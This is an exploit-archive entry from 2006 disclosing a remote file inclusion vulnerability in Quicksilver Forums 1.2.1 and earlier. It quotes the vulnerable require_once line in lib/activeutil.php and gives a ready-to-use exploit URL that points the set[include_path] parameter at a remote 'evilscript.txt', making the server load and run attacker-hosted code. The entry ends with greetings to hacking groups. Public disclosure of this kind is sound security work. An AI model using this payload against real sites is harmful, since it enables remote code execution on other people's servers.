[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Quicksilver Forums <= 1.2.1 (set) Remote File Include Vulnerability
# Published : 2006-09-13
# Author : mdx
# Previous Title : TeamCal Pro <= 2.8.001 (app_root) Remote file Include Vulnerability
# Next Title : phpunity.postcard (gallery_path) Remote File Include Vulnerability
####################################################
# #
# [ WWW.SecurityWall.orG ] #
# #
####################################################
Quicksilver Forums [(v1.2.0)+(1.2.1)] (set[include_path]) Remote File Inclusion Vulnerabilities
####################################################
Author: mdx
####################################################
Class : Remote
####################################################
cont@ct: bilkopat[at]hotmail[dot]com
####################################################
[v1.2.0]+[v1.2.1]
Code: activeutil.php?
require_once $set['include_path'] . '/lib/bbcode.php';
Exploit:
http://www.site.com/[path]/lib/activeutil.php?set[include_path]=http://site.com/evilscript.txt?
####################################################
Greetz: [Cyber-warrior TIM USERS] , Dreamlord , xoron , The_bat_hacker , redx , dipsomania , Kizil_alev, ElHaCKeR :=)
####################################################
# www.Syue.com [2006-09-13]